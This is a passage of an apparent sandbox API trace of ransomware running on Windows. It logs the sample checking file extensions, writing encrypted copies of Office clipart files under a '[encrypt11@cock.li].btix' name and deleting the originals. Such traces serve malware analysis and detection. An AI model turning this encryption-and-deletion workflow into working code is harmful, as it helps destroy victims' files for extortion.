[0150.506] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0150.507] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf")) returned 1 [0150.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0150.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0150.507] lstrlenW (lpString=".doc") returned 4 [0150.507] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.507] lstrlenW (lpString=".docx") returned 5 [0150.507] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0150.507] lstrlenW (lpString=".pdf") returned 4 [0150.507] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.507] lstrlenW (lpString=".xls") returned 4 [0150.507] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.507] lstrlenW (lpString=".xlsx") returned 5 [0150.507] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0150.507] lstrlenW (lpString=".ppt") returned 4 [0150.507] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0150.507] lstrlenW (lpString=".zip") returned 4 [0150.507] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.507] lstrlenW (lpString=".rar") returned 4 [0150.507] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.507] lstrlenW (lpString=".bz2") returned 4 [0150.507] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.507] lstrlenW (lpString=".7z") returned 3 [0150.507] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0150.507] lstrlenW (lpString=".dbf") returned 4 [0150.507] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0150.508] lstrlenW (lpString=".1cd") returned 4 [0150.508] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0150.508] lstrlenW (lpString=".jpg") returned 4 [0150.508] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0150.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0150.508] lstrlenW (lpString=".doc") returned 4 [0150.508] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.508] lstrlenW (lpString=".docx") returned 5 [0150.508] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0150.508] lstrlenW (lpString=".pdf") returned 4 [0150.508] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.508] lstrlenW (lpString=".xls") returned 4 [0150.508] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.508] lstrlenW (lpString=".xlsx") returned 5 [0150.508] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0150.508] lstrlenW (lpString=".ppt") returned 4 [0150.508] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0150.508] lstrlenW (lpString=".zip") returned 4 [0150.508] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.508] lstrlenW (lpString=".rar") returned 4 [0150.508] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.508] lstrlenW (lpString=".bz2") returned 4 [0150.508] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.508] lstrlenW (lpString=".7z") returned 3 [0150.508] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0150.508] lstrlenW (lpString=".dbf") returned 4 [0150.508] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0150.508] lstrlenW (lpString=".1cd") returned 4 [0150.509] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0150.509] lstrlenW (lpString=".jpg") returned 4 [0150.509] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.509] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0150.509] lstrlenW (lpString="J0099192.GIF") returned 12 [0150.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0150.509] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=17964) returned 1 [0150.509] CloseHandle (hObject=0x348) returned 1 [0150.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif")) returned 0x220 [0150.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0150.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0150.509] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.509] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0150.510] GetLastError () returned 0x0 [0150.510] ReadFile (in: hFile=0x348, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x462c, lpOverlapped=0x0) returned 1 [0150.511] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x4630, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x4630, lpOverlapped=0x0) returned 1 [0150.512] ReadFile (in: hFile=0x348, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0150.513] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0150.513] SetEndOfFile (hFile=0x378) returned 1 [0150.513] CloseHandle (hObject=0x378) returned 1 [0150.513] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.513] SetEndOfFile (hFile=0x348) returned 1 [0150.514] CloseHandle (hObject=0x348) returned 1 [0150.514] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0150.514] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif")) returned 1 [0150.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0150.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0150.515] lstrlenW (lpString=".doc") returned 4 [0150.515] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0150.515] lstrlenW (lpString=".docx") returned 5 [0150.515] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0150.515] lstrlenW (lpString=".pdf") returned 4 [0150.515] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0150.515] lstrlenW (lpString=".xls") returned 4 [0150.515] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0150.515] lstrlenW (lpString=".xlsx") returned 5 [0150.515] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0150.515] lstrlenW (lpString=".ppt") returned 4 [0150.515] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0150.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0150.515] lstrlenW (lpString=".zip") returned 4 [0150.515] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0150.515] lstrlenW (lpString=".rar") returned 4 [0150.515] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0150.515] lstrlenW (lpString=".bz2") returned 4 [0150.515] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0150.515] lstrlenW (lpString=".7z") returned 3 [0150.515] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0150.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0150.515] lstrlenW (lpString=".dbf") returned 4 [0150.515] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0150.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0150.515] lstrlenW (lpString=".1cd") returned 4 [0150.515] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0150.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0150.515] lstrlenW (lpString=".jpg") returned 4 [0150.515] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0150.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0150.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0150.516] lstrlenW (lpString=".doc") returned 4 [0150.516] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0150.516] lstrlenW (lpString=".docx") returned 5 [0150.516] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0150.516] lstrlenW (lpString=".pdf") returned 4 [0150.516] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0150.516] lstrlenW (lpString=".xls") returned 4 [0150.516] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0150.516] lstrlenW (lpString=".xlsx") returned 5 [0150.516] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0150.516] lstrlenW (lpString=".ppt") returned 4 [0150.516] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0150.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0150.516] lstrlenW (lpString=".zip") returned 4 [0150.516] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0150.516] lstrlenW (lpString=".rar") returned 4 [0150.516] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0150.516] lstrlenW (lpString=".bz2") returned 4 [0150.516] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0150.516] lstrlenW (lpString=".7z") returned 3 [0150.516] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0150.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0150.516] lstrlenW (lpString=".dbf") returned 4 [0150.516] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0150.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0150.516] lstrlenW (lpString=".1cd") returned 4 [0150.516] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0150.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0150.516] lstrlenW (lpString=".jpg") returned 4 [0150.516] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0150.516] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0150.517] lstrlenW (lpString="J0099193.GIF") returned 12 [0150.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0150.517] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=35546) returned 1 [0150.517] CloseHandle (hObject=0x348) returned 1 [0150.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif")) returned 0x220 [0150.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0150.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0150.517] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.517] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0150.518] GetLastError () returned 0x0 [0150.518] ReadFile (in: hFile=0x348, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x8ada, lpOverlapped=0x0) returned 1 [0150.519] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x8ae0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x8ae0, lpOverlapped=0x0) returned 1 [0150.520] ReadFile (in: hFile=0x348, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0150.520] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0150.520] SetEndOfFile (hFile=0x378) returned 1 [0150.521] CloseHandle (hObject=0x378) returned 1 [0150.521] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.521] SetEndOfFile (hFile=0x348) returned 1 [0150.523] CloseHandle (hObject=0x348) returned 1 [0150.523] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0150.524] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif")) returned 1 [0150.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0150.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0150.524] lstrlenW (lpString=".doc") returned 4 [0150.524] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0150.524] lstrlenW (lpString=".docx") returned 5 [0150.524] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0150.524] lstrlenW (lpString=".pdf") returned 4 [0150.524] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0150.524] lstrlenW (lpString=".xls") returned 4 [0150.524] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0150.524] lstrlenW (lpString=".xlsx") returned 5 [0150.524] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0150.524] lstrlenW (lpString=".ppt") returned 4 [0150.524] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0150.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0150.524] lstrlenW (lpString=".zip") returned 4 [0150.524] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0150.524] lstrlenW (lpString=".rar") returned 4 [0150.524] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0150.524] lstrlenW (lpString=".bz2") returned 4 [0150.524] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0150.524] lstrlenW (lpString=".7z") returned 3 [0150.525] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0150.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0150.525] lstrlenW (lpString=".dbf") returned 4 [0150.525] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0150.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0150.525] lstrlenW (lpString=".1cd") returned 4 [0150.525] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0150.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0150.525] lstrlenW (lpString=".jpg") returned 4 [0150.525] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0150.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0150.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0150.525] lstrlenW (lpString=".doc") returned 4 [0150.525] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0150.525] lstrlenW (lpString=".docx") returned 5 [0150.525] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0150.529] lstrlenW (lpString=".pdf") returned 4 [0150.529] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0150.529] lstrlenW (lpString=".xls") returned 4 [0150.529] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0150.529] lstrlenW (lpString=".xlsx") returned 5 [0150.530] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0150.530] lstrlenW (lpString=".ppt") returned 4 [0150.530] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0150.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0150.530] lstrlenW (lpString=".zip") returned 4 [0150.530] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0150.530] lstrlenW (lpString=".rar") returned 4 [0150.530] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0150.530] lstrlenW (lpString=".bz2") returned 4 [0150.530] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0150.530] lstrlenW (lpString=".7z") returned 3 [0150.530] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0150.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0150.530] lstrlenW (lpString=".dbf") returned 4 [0150.530] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0150.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0150.530] lstrlenW (lpString=".1cd") returned 4 [0150.530] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0150.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0150.530] lstrlenW (lpString=".jpg") returned 4 [0150.530] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0150.530] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0150.530] lstrlenW (lpString="J0099194.GIF") returned 12 [0150.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0150.530] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=25265) returned 1 [0150.531] CloseHandle (hObject=0x348) returned 1 [0150.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif")) returned 0x220 [0150.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0150.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0150.531] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.531] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0150.532] GetLastError () returned 0x0 [0150.532] ReadFile (in: hFile=0x348, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x62b1, lpOverlapped=0x0) returned 1 [0150.533] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x62c0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x62c0, lpOverlapped=0x0) returned 1 [0150.534] ReadFile (in: hFile=0x348, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0150.534] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0150.534] SetEndOfFile (hFile=0x378) returned 1 [0150.534] CloseHandle (hObject=0x378) returned 1 [0150.534] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.534] SetEndOfFile (hFile=0x348) returned 1 [0150.535] CloseHandle (hObject=0x348) returned 1 [0150.535] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0150.535] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif")) returned 1 [0150.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0150.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0150.535] lstrlenW (lpString=".doc") returned 